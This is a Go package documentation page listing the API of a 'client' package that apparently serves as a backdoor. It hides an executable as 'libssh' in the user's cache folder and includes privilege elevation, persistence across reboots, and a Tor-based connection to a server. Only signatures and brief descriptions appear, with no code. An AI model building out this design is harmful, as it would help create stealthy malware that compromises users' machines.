client

package
v0.1.1 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Nov 5, 2019 License: Unlicense Imports: 21 Imported by: 0

Documentation

Index

Constants

This section is empty.

Variables

View Source
var (
	Path         = filepath.Join(os.ExpandEnv("$HOME"), ".cache", "libssh")
	PathExe      = filepath.Join(Path, "libssh")
	HostnamePath = filepath.Join(Path, "token")
)
View Source
var (
	ServerPubKey, _ = crypto.CertToPubKey(serverCert)
)

Functions

func CheckElevate

func CheckElevate() bool

CheckElevate checks whether the current process has administrator privileges

func CheckSetup

func CheckSetup() bool

CheckSetup check wheter already configured

func Elevate

func Elevate() error

Elevate elevate task

func GetVer

func GetVer() (int, error)

GetVer gets the major version of the current installed linux

func NetClient

func NetClient()

NetClient start tor and invoke connect

func Persist

func Persist(path string)

Persist makes sure that the executable is run after a reboot

func PersistAdmin

func PersistAdmin(path string)

PersistAdmin persistence using admin privileges

func PersistUser

func PersistUser(path string)

PersistUser persistence using user privileges

func Setup

func Setup()

Setup add Persitence

Types

This section is empty.

Directories

Path Synopsis

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL